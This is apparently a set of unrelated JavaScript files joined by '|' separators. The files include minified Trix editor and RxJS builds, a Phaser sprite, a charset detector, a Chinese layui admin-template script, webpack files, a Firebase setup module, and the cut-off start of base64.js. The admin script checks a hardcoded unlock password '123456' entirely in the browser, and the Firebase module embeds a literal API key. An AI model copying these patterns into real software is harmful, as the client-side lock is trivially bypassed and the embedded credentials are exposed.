this.toolbarController.applyKeyboardCommand(t)},a.prototype.inputControllerDidStartDrag=function(){return this.locationRangeBeforeDrag=this.selectionManager.getLocationRange()},a.prototype.inputControllerDidReceiveDragOverPoint=function(t){return this.selectionManager.setLocationRangeFromPointRange(t)},a.prototype.inputControllerDidCancelDrag=function(){return this.selectionManager.setLocationRange(this.locationRangeBeforeDrag),this.locationRangeBeforeDrag=null},a.prototype.locationRangeDidChange=function(t){return this.composition.updateCurrentAttributes(),this.updateCurrentActions(),this.attachmentLocationRange&&!n(this.attachmentLocationRange,t)&&this.composition.stopEditingAttachment(),this.notifyEditorElement("selection-change")},a.prototype.toolbarDidClickButton=function(){return this.getLocationRange()?void 0:this.setLocationRange({index:0,offset:0})},a.prototype.toolbarDidInvokeAction=function(t){return this.invokeAction(t)},a.prototype.toolbarDidToggleAttribute=function(t){return this.recordFormattingUndoEntry(),this.composition.toggleCurrentAttribute(t),this.render(),this.selectionFrozen?void 0:this.editorElement.focus()},a.prototype.toolbarDidUpdateAttribute=function(t,e){return this.recordFormattingUndoEntry(),this.composition.setCurrentAttribute(t,e),this.render(),this.selectionFrozen?void 0:this.editorElement.focus()},a.prototype.toolbarDidRemoveAttribute=function(t){return this.recordFormattingUndoEntry(),this.composition.removeCurrentAttribute(t),this.render(),this.selectionFrozen?void 0:this.editorElement.focus()},a.prototype.toolbarWillShowDialog=function(){return this.composition.expandSelectionForEditing(),this.freezeSelection()},a.prototype.toolbarDidShowDialog=function(t){return this.notifyEditorElement("toolbar-dialog-show",{dialogName:t})},a.prototype.toolbarDidHideDialog=function(t){return this.thawSelection(),this.editorElement.focus(),this.notifyEditorElement("toolbar-dialog-hide",{dialogName:t})},a.prototype.freezeSelection=function(){return this.selectionFrozen?void 0:(this.selectionManager.lock(),this.composition.freezeSelection(),this.selectionFrozen=!0,this.render())},a.prototype.thawSelection=function(){return this.selectionFrozen?(this.composition.thawSelection(),this.selectionManager.unlock(),this.selectionFrozen=!1,this.render()):void 0},a.prototype.actions={undo:{test:function(){return this.editor.canUndo()},perform:function(){return this.editor.undo()}},redo:{test:function(){return this.editor.canRedo()},perform:function(){return this.editor.redo()}},link:{test:function(){return this.editor.canActivateAttribute("href")}},increaseNestingLevel:{test:function(){return this.editor.canIncreaseNestingLevel()},perform:function(){return this.editor.increaseNestingLevel()&&this.render()}},decreaseNestingLevel:{test:function(){return this.editor.canDecreaseNestingLevel()},perform:function(){return this.editor.decreaseNestingLevel()&&this.render()}}},a.prototype.canInvokeAction=function(t){var e,n;return!!this.actionIsExternal(t)||!!(null!=(e=this.actions[t])&&null!=(n=e.test)?n.call(this):void 0)},a.prototype.invokeAction=function(t){var e,n;return this.actionIsExternal(t)?this.notifyEditorElement("action-invoke",{actionName:t}):null!=(e=this.actions[t])&&null!=(n=e.perform)?n.call(this):void 0},a.prototype.actionIsExternal=function(t){return/^x-./.test(t)},a.prototype.getCurrentActions=function(){var t,e;for(t in e={},this.actions)e[t]=this.canInvokeAction(t);return e},a.prototype.updateCurrentActions=function(){var e;return e=this.getCurrentActions(),t(e,this.currentActions)?void 0:(this.currentActions=e,this.toolbarController.updateActions(this.currentActions),this.notifyEditorElement("actions-change",{actions:this.currentActions}))},a.prototype.runEditorFilters=function(){var t,e,n,i,o,r,s,a;for(a=this.composition.getSnapshot(),n=0,i=(o=this.editor.filters).length;i>n;n++)e=o[n],t=a.document,s=a.selectedRange,null==(a=null!=(r=e.call(this.editor,a))?r:{}).document&&(a.document=t),null==a.selectedRange&&(a.selectedRange=s);return u(a,this.composition.getSnapshot())?void 0:this.composition.loadSnapshot(a)},u=function(t,e){return n(t.selectedRange,e.selectedRange)&&t.document.isEqualTo(e.document)},a.prototype.updateInputElement=function(){var t,e;return t=this.compositionController.getSerializableElement(),e=i.serializeToContentType(t,"text/html"),this.editorElement.setInputElementValue(e)},a.prototype.notifyEditorElement=function(t,e){switch(t){case"document-change":this.documentChangedSinceLastRender=!0;break;case"render":this.documentChangedSinceLastRender&&(this.documentChangedSinceLastRender=!1,this.notifyEditorElement("change"));break;case"change":case"attachment-add":case"attachment-edit":case"attachment-remove":this.updateInputElement()}return this.editorElement.notify(t,e)},a.prototype.removeAttachment=function(t){return this.editor.recordUndoEntry("Delete Attachment"),this.composition.removeAttachment(t),this.render()},a.prototype.recordFormattingUndoEntry=function(){var t;return t=this.selectionManager.getLocationRange(),e(t)?void 0:this.editor.recordUndoEntry("Formatting",{context:this.getUndoContext(),consolidatable:!0})},a.prototype.recordTypingUndoEntry=function(){return this.editor.recordUndoEntry("Typing",{context:this.getUndoContext(this.currentAttributes),consolidatable:!0})},a.prototype.getUndoContext=function(){var t;return t=1<=arguments.length?s.call(arguments,0):[],[this.getLocationContext(),this.getTimeContext()].concat(s.call(t))},a.prototype.getLocationContext=function(){var t;return t=this.selectionManager.getLocationRange(),e(t)?t[0].index:t},a.prototype.getTimeContext=function(){return i.config.undoInterval>0?Math.floor((new Date).getTime()/i.config.undoInterval):0},a.prototype.isFocused=function(){var t;return this.editorElement===(null!=(t=this.editorElement.ownerDocument)?t.activeElement:void 0)},a}(i.Controller)}.call(this),function(){var t,e,n,o,r,s,a,u,c,l,h,p,d,f;e=i.browser,r=i.makeElement,s=i.triggerEvent,n=i.handleEvent,o=i.handleEventOnce,t=i.AttachmentView.attachmentSelector,i.registerElement("trix-editor",(p=0,u=function(t){return!document.querySelector(":focus")&&t.hasAttribute("autofocus")&&document.querySelector("[autofocus]")===t?t.focus():void 0},d=function(t){return t.hasAttribute("contenteditable")?void 0:(t.setAttribute("contenteditable",""),o("focus",{onElement:t,withCallback:function(){return c(t)}}))},a=function(t){return t.hasAttribute("role")?void 0:t.setAttribute("role","textbox")},c=function(t){return h(t),f(t)},h=function(t){return("function"==typeof document.queryCommandSupported?document.queryCommandSupported("enableObjectResizing"):void 0)?(document.execCommand("enableObjectResizing",!1,!1),n("mscontrolselect",{onElement:t,preventDefault:!0})):void 0},f=function(){var t;return("function"==typeof document.queryCommandSupported?document.queryCommandSupported("DefaultParagraphSeparator"):void 0)&&("div"===(t=i.config.blockAttributes.default.tagName)||"p"===t)?document.execCommand("DefaultParagraphSeparator",!1,t):void 0},l=e.forcesObjectResizing?{display:"inline",width:"auto"}:{display:"inline-block",width:"1px"},{defaultCSS:"%t {\n display: block;\n}\n\n%t:empty:not(:focus)::before {\n content: attr(placeholder);\n color: graytext;\n cursor: text;\n}\n\n%t a[contenteditable=false] {\n cursor: text;\n}\n\n%t img {\n max-width: 100%;\n height: auto;\n}\n\n%t "+t+" figcaption textarea {\n resize: none;\n}\n\n%t "+t+" figcaption textarea.trix-autoresize-clone {\n position: absolute;\n left: -9999px;\n max-height: 0px;\n}\n\n%t "+t+" figcaption[data-trix-placeholder]:empty::before {\n content: attr(data-trix-placeholder);\n color: graytext;\n}\n\n%t [data-trix-cursor-target] {\n display: "+l.display+" !important;\n width: "+l.width+" !important;\n padding: 0 !important;\n margin: 0 !important;\n border: none !important;\n}\n\n%t [data-trix-cursor-target=left] {\n vertical-align: top !important;\n margin-left: -1px !important;\n}\n\n%t [data-trix-cursor-target=right] {\n vertical-align: bottom !important;\n margin-right: -1px !important;\n}",trixId:{get:function(){return this.hasAttribute("trix-id")?this.getAttribute("trix-id"):(this.setAttribute("trix-id",++p),this.trixId)}},toolbarElement:{get:function(){var t,e,n;return this.hasAttribute("toolbar")?null!=(e=this.ownerDocument)?e.getElementById(this.getAttribute("toolbar")):void 0:this.parentNode?(n="trix-toolbar-"+this.trixId,this.setAttribute("toolbar",n),t=r("trix-toolbar",{id:n}),this.parentNode.insertBefore(t,this),t):void 0}},inputElement:{get:function(){var t,e,n;return this.hasAttribute("input")?null!=(n=this.ownerDocument)?n.getElementById(this.getAttribute("input")):void 0:this.parentNode?(e="trix-input-"+this.trixId,this.setAttribute("input",e),t=r("input",{type:"hidden",id:e}),this.parentNode.insertBefore(t,this.nextElementSibling),t):void 0}},editor:{get:function(){var t;return null!=(t=this.editorController)?t.editor:void 0}},name:{get:function(){var t;return null!=(t=this.inputElement)?t.name:void 0}},value:{get:function(){var t;return null!=(t=this.inputElement)?t.value:void 0},set:function(t){var e;return this.defaultValue=t,null!=(e=this.editor)?e.loadHTML(this.defaultValue):void 0}},notify:function(t,e){return this.editorController?s("trix-"+t,{onElement:this,attributes:e}):void 0},setInputElementValue:function(t){var e;return null!=(e=this.inputElement)?e.value=t:void 0},initialize:function(){return d(this),a(this)},connect:function(){return this.hasAttribute("data-trix-internal")?void 0:(this.editorController||(s("trix-before-initialize",{onElement:this}),this.editorController=new i.EditorController({editorElement:this,html:this.defaultValue=this.value}),requestAnimationFrame((t=this,function(){return s("trix-initialize",{onElement:t})}))),this.editorController.registerSelectionManager(),this.registerResetListener(),u(this));var t},disconnect:function(){var t;return null!=(t=this.editorController)&&t.unregisterSelectionManager(),this.unregisterResetListener()},registerResetListener:function(){return this.resetListener=this.resetBubbled.bind(this),window.addEventListener("reset",this.resetListener,!1)},unregisterResetListener:function(){return window.removeEventListener("reset",this.resetListener,!1)},resetBubbled:function(t){var e;return t.target!==(null!=(e=this.inputElement)?e.form:void 0)||t.defaultPrevented?void 0:this.reset()},reset:function(){return this.value=this.defaultValue}}))}.call(this),function(){}.call(this)}).call(this),t.exports?t.exports=i:void 0===(r="function"==typeof(o=i)?o.call(e,n,e,t):o)||(t.exports=r)}.call(this)}).call(this,n("URgk").setImmediate)},sWCw:function(t,e,n){"use strict";n.r(e);n("rX62");n("bhRQ")},yLpj:function(t,e){var n;n=function(){return this}();try{n=n||new Function("return this")()}catch(t){"object"==typeof window&&(n=window)}t.exports=n}});
|
var Waypoint = function(game, x, y, wptype) {
Phaser.Sprite.call(this, game, x, y, 'waypoint');
this.waypoints = {};
this.type = wptype;
this.occupied = false;
this.anchor.setTo(0.5, 0.75);
this.width = 48;
this.height = 72;
this.inputEnabled = true;
this.events.onInputDown.add(this.debugMe, this);
};
Waypoint.prototype = Object.create(Phaser.Sprite.prototype);
Waypoint.prototype.constructor = Waypoint;
Waypoint.prototype.debugMe = function() {
console.log(this);
};
module.exports = Waypoint;
|
var Match = require ('../match');
/**
* Charset recognizer for UTF-8
*/
module.exports = function() {
this.name = function() {
return 'UTF-8';
};
this.match = function(det) {
var hasBOM = false,
numValid = 0,
numInvalid = 0,
input = det.fRawInput,
trailBytes = 0,
confidence;
if (det.fRawLength >= 3 &&
(input[0] & 0xff) == 0xef && (input[1] & 0xff) == 0xbb && (input[2] & 0xff) == 0xbf) {
hasBOM = true;
}
// Scan for multi-byte sequences
for (var i = 0; i < det.fRawLength; i++) {
var b = input[i];
if ((b & 0x80) == 0)
continue; // ASCII
// Hi bit on char found. Figure out how long the sequence should be
if ((b & 0x0e0) == 0x0c0) {
trailBytes = 1;
} else if ((b & 0x0f0) == 0x0e0) {
trailBytes = 2;
} else if ((b & 0x0f8) == 0xf0) {
trailBytes = 3;
} else {
numInvalid++;
if (numInvalid > 5)
break;
trailBytes = 0;
}
// Verify that we've got the right number of trail bytes in the sequence
for (;;) {
i++;
if (i >= det.fRawLength)
break;
if ((input[i] & 0xc0) != 0x080) {
numInvalid++;
break;
}
if (--trailBytes == 0) {
numValid++;
break;
}
}
}
// Cook up some sort of confidence score, based on presense of a BOM
// and the existence of valid and/or invalid multi-byte sequences.
confidence = 0;
if (hasBOM && numInvalid == 0)
confidence = 100;
else if (hasBOM && numValid > numInvalid * 10)
confidence = 80;
else if (numValid > 3 && numInvalid == 0)
confidence = 100;
else if (numValid > 0 && numInvalid == 0)
confidence = 80;
else if (numValid == 0 && numInvalid == 0)
// Plain ASCII.
confidence = 10;
else if (numValid > numInvalid * 10)
// Probably corruput utf-8 data. Valid sequences aren't likely by chance.
confidence = 25;
else
return null
return new Match(det, this, confidence);
};
};
|
var cacheStr = window.sessionStorage.getItem("cache"),
oneLoginStr = window.sessionStorage.getItem("oneLogin");
layui.use(['form','jquery',"layer"],function() {
var form = layui.form,
$ = layui.jquery,
layer = parent.layer === undefined ? layui.layer : top.layer;
//判断是否web端打开
if(!/http(s*):\/\//.test(location.href)){
layer.alert("请先将项目部署到 localhost 下再进行访问,否则部分数据将无法显示");
}else{ //判断是否处于锁屏状态【如果关闭以后则未关闭浏览器之前不再显示】
if(window.sessionStorage.getItem("lockcms") != "true" && window.sessionStorage.getItem("showNotice") != "true"){
showNotice();
}
}
//判断是否设置过头像,如果设置过则修改顶部、左侧和个人资料中的头像,否则使用默认头像
if(window.sessionStorage.getItem('userFace') && $(".userAvatar").length > 0){
$("#userFace").attr("src",window.sessionStorage.getItem('userFace'));
$(".userAvatar").attr("src",$(".userAvatar").attr("src").split("images/")[0] + "images/" + window.sessionStorage.getItem('userFace').split("images/")[1]);
}else{
$("#userFace").attr("src","../../images/face.jpg");
}
//公告层
function showNotice(){
layer.open({
type: 1,
title: "系统公告",
area: '300px',
shade: 0.8,
id: 'LAY_layuipro',
btn: ['火速围观'],
moveType: 1,
content: '<div style="padding:15px 20px; text-align:justify; line-height: 22px; text-indent:2em;border-bottom:1px solid #e2e2e2;"><p class="layui-red">请使用模版前请务必仔细阅读首页右下角的《更新日志》,避免使用中遇到一些简单的问题造成困扰。</p></pclass></p><p>1.0发布以后发现很多朋友将代码上传到各种素材网站,当然这样帮我宣传我谢谢大家,但是有部分朋友上传到素材网站后将下载分值设置的相对较高,需要朋友们充钱才能下载。本人发现后通过和站长、网站管理员联系以后将分值调整为不需要充值才能下载或者直接免费下载。在此郑重提示各位:<span class="layui-red">本模版已进行作品版权证明,不管以何种形式获取的源码,请勿进行出售或者上传到任何素材网站,否则将追究相应的责任。</span></p></div>',
success: function(layero){
var btn = layero.find('.layui-layer-btn');
btn.css('text-align', 'center');
btn.on("click",function(){
tipsShow();
});
},
cancel: function(index, layero){
tipsShow();
}
});
}
function tipsShow(){
window.sessionStorage.setItem("showNotice","true");
if($(window).width() > 432){ //如果页面宽度不足以显示顶部“系统公告”按钮,则不提示
layer.tips('系统公告躲在了这里', '#userInfo', {
tips: 3,
time : 1000
});
}
}
$(".showNotice").on("click",function(){
showNotice();
})
//锁屏
function lockPage(){
layer.open({
title : false,
type : 1,
content : '<div class="admin-header-lock" id="lock-box">'+
'<div class="admin-header-lock-img"><img src="images/face.jpg" class="userAvatar"/></div>'+
'<div class="admin-header-lock-name" id="lockUserName">admin</div>'+
'<div class="input_btn">'+
'<input type="password" class="admin-header-lock-input layui-input" autocomplete="off" placeholder="请输入密码解锁.." name="lockPwd" id="lockPwd" />'+
'<button class="layui-btn" id="unlock">解锁</button>'+
'</div>'+
'<p>请输入“123456”,否则不会解锁成功哦!!!</p>'+
'</div>',
closeBtn : 0,
shade : 0.9,
success : function(){
//判断是否设置过头像,如果设置过则修改顶部、左侧和个人资料中的头像,否则使用默认头像
if(window.sessionStorage.getItem('userFace') && $(".userAvatar").length > 0){
$(".userAvatar").attr("src",$(".userAvatar").attr("src").split("images/")[0] + "images/" + window.sessionStorage.getItem('userFace').split("images/")[1]);
}
}
})
$(".admin-header-lock-input").focus();
}
$(".lockcms").on("click",function(){
window.sessionStorage.setItem("lockcms",true);
lockPage();
})
// 判断是否显示锁屏
if(window.sessionStorage.getItem("lockcms") == "true"){
lockPage();
}
// 解锁
$("body").on("click","#unlock",function(){
if($(this).siblings(".admin-header-lock-input").val() == ''){
layer.msg("请输入解锁密码!");
$(this).siblings(".admin-header-lock-input").focus();
}else{
if($(this).siblings(".admin-header-lock-input").val() == "123456"){
window.sessionStorage.setItem("lockcms",false);
$(this).siblings(".admin-header-lock-input").val('');
layer.closeAll("page");
}else{
layer.msg("密码错误,请重新输入!");
$(this).siblings(".admin-header-lock-input").val('').focus();
}
}
});
$(document).on('keydown', function(event) {
var event = event || window.event;
if(event.keyCode == 13) {
$("#unlock").click();
}
});
//退出
$(".signOut").click(function(){
window.sessionStorage.removeItem("menu");
menu = [];
window.sessionStorage.removeItem("curmenu");
})
//功能设定
$(".functionSetting").click(function(){
layer.open({
title: "功能设定",
area: ["380px", "280px"],
type: "1",
content : '<div class="functionSrtting_box">'+
'<form class="layui-form">'+
'<div class="layui-form-item">'+
'<label class="layui-form-label">开启Tab缓存</label>'+
'<div class="layui-input-block">'+
'<input type="checkbox" name="cache" lay-skin="switch" lay-text="开|关">'+
'<div class="layui-word-aux">开启后刷新页面不关闭打开的Tab页</div>'+
'</div>'+
'</div>'+
'<div class="layui-form-item">'+
'<label class="layui-form-label">Tab切换刷新</label>'+
'<div class="layui-input-block">'+
'<input type="checkbox" name="changeRefresh" lay-skin="switch" lay-text="开|关">'+
'<div class="layui-word-aux">开启后切换窗口刷新当前页面</div>'+
'</div>'+
'</div>'+
'<div class="layui-form-item">'+
'<label class="layui-form-label">单一登陆</label>'+
'<div class="layui-input-block">'+
'<input type="checkbox" name="oneLogin" lay-filter="multipleLogin" lay-skin="switch" lay-text="是|否">'+
'<div class="layui-word-aux">开启后不可同时多个地方登录</div>'+
'</div>'+
'</div>'+
'<div class="layui-form-item skinBtn">'+
'<a href="javascript:;" class="layui-btn layui-btn-sm layui-btn-normal" lay-submit="" lay-filter="settingSuccess">设定完成</a>'+
'<a href="javascript:;" class="layui-btn layui-btn-sm layui-btn-primary" lay-submit="" lay-filter="noSetting">朕再想想</a>'+
'</div>'+
'</form>'+
'</div>',
success : function(index, layero){
//如果之前设置过,则设置它的值
$(".functionSrtting_box input[name=cache]").prop("checked",cacheStr=="true" ? true : false);
$(".functionSrtting_box input[name=changeRefresh]").prop("checked",changeRefreshStr=="true" ? true : false);
$(".functionSrtting_box input[name=oneLogin]").prop("checked",oneLoginStr=="true" ? true : false);
//设定
form.on("submit(settingSuccess)",function(data){
window.sessionStorage.setItem("cache",data.field.cache=="on" ? "true" : "false");
window.sessionStorage.setItem("changeRefresh",data.field.changeRefresh=="on" ? "true" : "false");
window.sessionStorage.setItem("oneLogin",data.field.oneLogin=="on" ? "true" : "false");
window.sessionStorage.removeItem("menu");
window.sessionStorage.removeItem("curmenu");
location.reload();
return false;
});
//取消设定
form.on("submit(noSetting)",function(){
layer.closeAll("page");
});
//单一登陆提示
form.on('switch(multipleLogin)', function(data){
layer.tips('温馨提示:此功能需要开发配合,所以没有功能演示,敬请谅解', data.othis,{tips: 1})
});
form.render(); //表单渲染
}
})
})
//判断是否修改过系统基本设置,去显示底部版权信息
if(window.sessionStorage.getItem("systemParameter")){
systemParameter = JSON.parse(window.sessionStorage.getItem("systemParameter"));
$(".footer p span").text(systemParameter.powerby);
}
//更换皮肤
function skins(){
var skin = window.sessionStorage.getItem("skin");
if(skin){ //如果更换过皮肤
if(window.sessionStorage.getItem("skinValue") != "自定义"){
$("body").addClass(window.sessionStorage.getItem("skin"));
}else{
$(".layui-layout-admin .layui-header").css("background-color",skin.split(',')[0]);
$(".layui-bg-black").css("background-color",skin.split(',')[1]);
$(".hideMenu").css("background-color",skin.split(',')[2]);
}
}
}
skins();
$(".changeSkin").click(function(){
layer.open({
title : "更换皮肤",
area : ["310px","280px"],
type : "1",
content : '<div class="skins_box">'+
'<form class="layui-form">'+
'<div class="layui-form-item">'+
'<input type="radio" name="skin" value="默认" title="默认" lay-filter="default" checked="">'+
'<input type="radio" name="skin" value="橙色" title="橙色" lay-filter="orange">'+
'<input type="radio" name="skin" value="蓝色" title="蓝色" lay-filter="blue">'+
'<input type="radio" name="skin" value="自定义" title="自定义" lay-filter="custom">'+
'<div class="skinCustom">'+
'<input type="text" class="layui-input topColor" name="topSkin" placeholder="顶部颜色" />'+
'<input type="text" class="layui-input leftColor" name="leftSkin" placeholder="左侧颜色" />'+
'<input type="text" class="layui-input menuColor" name="btnSkin" placeholder="顶部菜单按钮" />'+
'</div>'+
'</div>'+
'<div class="layui-form-item skinBtn">'+
'<a href="javascript:;" class="layui-btn layui-btn-sm layui-btn-normal" lay-submit="" lay-filter="changeSkin">确定更换</a>'+
'<a href="javascript:;" class="layui-btn layui-btn-sm layui-btn-primary" lay-submit="" lay-filter="noChangeSkin">朕再想想</a>'+
'</div>'+
'</form>'+
'</div>',
success : function(index, layero){
var skin = window.sessionStorage.getItem("skin");
if(window.sessionStorage.getItem("skinValue")){
$(".skins_box input[value="+window.sessionStorage.getItem("skinValue")+"]").attr("checked","checked");
};
if($(".skins_box input[value=自定义]").attr("checked")){
$(".skinCustom").css("visibility","inherit");
$(".topColor").val(skin.split(',')[0]);
$(".leftColor").val(skin.split(',')[1]);
$(".menuColor").val(skin.split(',')[2]);
};
form.render();
$(".skins_box").removeClass("layui-hide");
$(".skins_box .layui-form-radio").on("click",function(){
var skinColor;
if($(this).find("div").text() == "橙色"){
skinColor = "orange";
}else if($(this).find("div").text() == "蓝色"){
skinColor = "blue";
}else if($(this).find("div").text() == "默认"){
skinColor = "";
}
if($(this).find("div").text() != "自定义"){
$(".topColor,.leftColor,.menuColor").val('');
$("body").removeAttr("class").addClass("main_body "+skinColor+"");
$(".skinCustom").removeAttr("style");
$(".layui-bg-black,.hideMenu,.layui-layout-admin .layui-header").removeAttr("style");
}else{
$(".skinCustom").css("visibility","inherit");
}
})
var skinStr,skinColor;
$(".topColor").blur(function(){
$(".layui-layout-admin .layui-header").css("background-color",$(this).val()+" !important");
})
$(".leftColor").blur(function(){
$(".layui-bg-black").css("background-color",$(this).val()+" !important");
})
$(".menuColor").blur(function(){
$(".hideMenu").css("background-color",$(this).val()+" !important");
})
form.on("submit(changeSkin)",function(data){
if(data.field.skin != "自定义"){
if(data.field.skin == "橙色"){
skinColor = "orange";
}else if(data.field.skin == "蓝色"){
skinColor = "blue";
}else if(data.field.skin == "默认"){
skinColor = "";
}
window.sessionStorage.setItem("skin",skinColor);
}else{
skinStr = $(".topColor").val()+','+$(".leftColor").val()+','+$(".menuColor").val();
window.sessionStorage.setItem("skin",skinStr);
$("body").removeAttr("class").addClass("main_body");
}
window.sessionStorage.setItem("skinValue",data.field.skin);
layer.closeAll("page");
});
form.on("submit(noChangeSkin)",function(){
$("body").removeAttr("class").addClass("main_body "+window.sessionStorage.getItem("skin")+"");
$(".layui-bg-black,.hideMenu,.layui-layout-admin .layui-header").removeAttr("style");
skins();
layer.closeAll("page");
});
},
cancel : function(){
$("body").removeAttr("class").addClass("main_body "+window.sessionStorage.getItem("skin")+"");
$(".layui-bg-black,.hideMenu,.layui-layout-admin .layui-header").removeAttr("style");
skins();
}
})
})
})
|
"use strict";var root_1=require("./util/root"),toSubscriber_1=require("./util/toSubscriber"),observable_1=require("./symbol/observable"),Observable=function(){function r(r){this._isScalar=!1,r&&(this._subscribe=r)}return r.prototype.lift=function(o){var t=new r;return t.source=this,t.operator=o,t},r.prototype.subscribe=function(r,o,t){var e=this.operator,s=toSubscriber_1.toSubscriber(r,o,t);if(e?e.call(s,this):s.add(this._subscribe(s)),s.syncErrorThrowable&&(s.syncErrorThrowable=!1,s.syncErrorThrown))throw s.syncErrorValue;return s},r.prototype.forEach=function(r,o){var t=this;if(o||(root_1.root.Rx&&root_1.root.Rx.config&&root_1.root.Rx.config.Promise?o=root_1.root.Rx.config.Promise:root_1.root.Promise&&(o=root_1.root.Promise)),!o)throw new Error("no Promise impl found");return new o(function(o,e){var s=t.subscribe(function(o){if(s)try{r(o)}catch(r){e(r),s.unsubscribe()}else r(o)},e,o)})},r.prototype._subscribe=function(r){return this.source.subscribe(r)},r.prototype[observable_1.$$observable]=function(){return this},r.create=function(o){return new r(o)},r}();exports.Observable=Observable;
|
var webpack = require("webpack");
module.exports = {
entry: ['./lib/index.js'],
target: 'node',
output: {
library: 'djvu',
libraryTarget: 'umd',
filename: 'djvu.js',
sourceMapFilename: '[file].map'
},
plugins: [
new webpack.optimize.UglifyJsPlugin()
]
};
|
!function(e){function r(r){for(var n,l,p=r[0],f=r[1],i=r[2],c=0,s=[];c<p.length;c++)l=p[c],Object.prototype.hasOwnProperty.call(o,l)&&o[l]&&s.push(o[l][0]),o[l]=0;for(n in f)Object.prototype.hasOwnProperty.call(f,n)&&(e[n]=f[n]);for(a&&a(r);s.length;)s.shift()();return u.push.apply(u,i||[]),t()}function t(){for(var e,r=0;r<u.length;r++){for(var t=u[r],n=!0,p=1;p<t.length;p++){var f=t[p];0!==o[f]&&(n=!1)}n&&(u.splice(r--,1),e=l(l.s=t[0]))}return e}var n={},o={1:0},u=[];function l(r){if(n[r])return n[r].exports;var t=n[r]={i:r,l:!1,exports:{}};return e[r].call(t.exports,t,t.exports,l),t.l=!0,t.exports}l.m=e,l.c=n,l.d=function(e,r,t){l.o(e,r)||Object.defineProperty(e,r,{enumerable:!0,get:t})},l.r=function(e){"undefined"!==typeof Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},l.t=function(e,r){if(1&r&&(e=l(e)),8&r)return e;if(4&r&&"object"===typeof e&&e&&e.__esModule)return e;var t=Object.create(null);if(l.r(t),Object.defineProperty(t,"default",{enumerable:!0,value:e}),2&r&&"string"!=typeof e)for(var n in e)l.d(t,n,function(r){return e[r]}.bind(null,n));return t},l.n=function(e){var r=e&&e.__esModule?function(){return e.default}:function(){return e};return l.d(r,"a",r),r},l.o=function(e,r){return Object.prototype.hasOwnProperty.call(e,r)},l.p="/dev-loopers/";var p=this["webpackJsonpdev-loopers"]=this["webpackJsonpdev-loopers"]||[],f=p.push.bind(p);p.push=r,p=p.slice();for(var i=0;i<p.length;i++)r(p[i]);var a=f;t()}([]);
//# sourceMappingURL=runtime-main.54e8e998.js.map
|
// import firebase from 'firebase/app'
// import 'firebase/database'
// import 'firebase/storage'
// import { Firechat } from './firechat.js'
const firebase = require('firebase')
require('firebase/database')
require('firebase/storage')
const Firechat = require('./firechat')
// firebase init goes here
const dbConfig = {
apiKey: 'AIzaSyDAE4x2uKFo46nBgZOxSsIFqcYVIqArM0Q',
authDomain: 'wohapp-3a179.firebaseapp.com',
databaseURL: 'https://wohapp-3a179.firebaseio.com',
projectId: 'wohapp-3a179',
storageBucket: 'wohapp-3a179.appspot.com',
messagingSenderId: '553446471400',
allowEmailLogin: true,
allowEmailRegistration: true
}
// firebase app for dev & product
window.firebase = firebase.initializeApp(dbConfig)
// firebase app for nodeunit test
// firebase.initializeApp(dbConfig)
// firebase utils
const auth = firebase.auth()
const database = firebase.database()
const storage = firebase.storage()
const timestamp = firebase.database.ServerValue.TIMESTAMP
// firechat
const chat = new Firechat.Firechat(database.ref(), null)
module.exports = {
dbConfig,
database,
storage,
auth,
timestamp,
chat
}
|
/*
* $Id: base64.js,v 2.15 2014/04/05 12:58:57 dankogai Exp dankogai $
*
* Licensed under the MIT license.
* http://opensource.org/licenses/mit-license
*
* References:
* http://en.wikipedia.org/wiki/Base64
*/
(function (global) {
'use strict';
// existing version for noConflict()
var _Base64 = global.Base64;
var version = "2.1.9";
// if node.js, we use Buffer
var buffer;
if (typeof module !== 'undefined' && module.exports) {
try {
buffer = require('buffer').Buffer;
} catch (err) { }
}
// constants
var b64chars
= 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';
var b64tab = function (bin) {
var t = {};
for (var i = 0, l = bin.length; i < l; i++) t[bin.charAt(i)] = i;
return t;
}(b64chars);
var fromCharCode = String.fromCharCode;
// encoder stuff
var cb_utob = function (c) {
if (c.length < 2) {
var cc = c.charCodeAt(0);
return cc < 0x80 ? c
: cc < 0x800 ? (fromCharCode(0xc0 | (cc >>> 6))
+ fromCharCode(0x80 | (cc & 0x3f)))
: (fromCharCode(0xe0 | ((cc >>> 12) & 0x0f))
+ fromCharCode(0x80 | ((cc >>> 6) & 0x3f))
+ fromCharCode(0x80 | (cc & 0x3f)));
} else {
var cc = 0x10000
+ (c.charCodeAt(0) - 0xD800) * 0x400
+ (c.charCodeAt(1) - 0xDC00);
return (fromCharCode(0xf0 | ((cc >>> 18) & 0x07))
+ fromCharCode(0x80 | ((cc >>> 12) & 0x3f))
+ fromCharCode(0x80 | ((cc >>> 6) & 0x3f))
+ fromCharCode(0x80 | (cc & 0x3f)));
}
};
var re_utob = /[\uD800-\uDBFF][\uDC00-\uDFFFF]|[^\x00-\x7F]/g;
var utob = function (u) {
return u.replace(re_utob, cb_utob);
};
var cb_encode = function (ccc) {
var padlen = [0, 2, 1][ccc.length % 3],
ord = ccc.charCodeAt(0) << 16
| ((ccc.length > 1 ? ccc.charCodeAt(1) : 0) << 8)
| ((ccc.length > 2 ? ccc.charCodeAt(2) : 0)),
chars = [
b64chars.charAt(ord >>> 18),
b64chars.charAt((ord >>> 12) & 63),
padlen >= 2 ? '=' : b64chars.charAt((ord >>> 6) & 63),
padlen >= 1 ? '=' : b64chars.charAt(ord & 63)
];
return chars.join('');
};
var btoa = global.btoa ? function (b) {
return global.btoa(b);
} : function (b) {
return b.replace(/[\s\S]{1,3}/g, cb_encode);
};
var _encode = buffer ? function (u) {
return (u.constructor === buffer.constructor ? u : new buffer(u))
.toString('base64')
}
: function (u) { return btoa(utob(u)) }
;
var encode = function (u, urisafe) {
return !urisafe
? _encode(String(u))
: _encode(String(u)).replace(/[+\/]/g, function (m0) {
return m0 == '+' ? '-' : '_';
}).replace(/=/g, '');
};
var encodeURI = function (u) { return encode(u, true) };
// decoder stuff
var re_btou = new RegExp([
'[\xC0-\xDF][\x80-\xBF]',
'[\xE0-\xEF][\x80-\xBF]{2}',
'[\xF0-\xF7][\x80-\xBF]{3}'
].join('|'), 'g');
var cb_btou = function (cccc) {
switch (cccc.length) {
case 4:
var cp = ((0x07 & cccc.charCodeAt(0)) << 18)
| ((0x3f & cccc.charCodeAt(1)) << 12)
| ((0x3f & cccc.charCodeAt(2)) << 6)
| (0x3f & cccc.charCodeAt(3)),
offset = cp - 0x10000;
return (fromCharCode((offset >>> 10) + 0xD800)
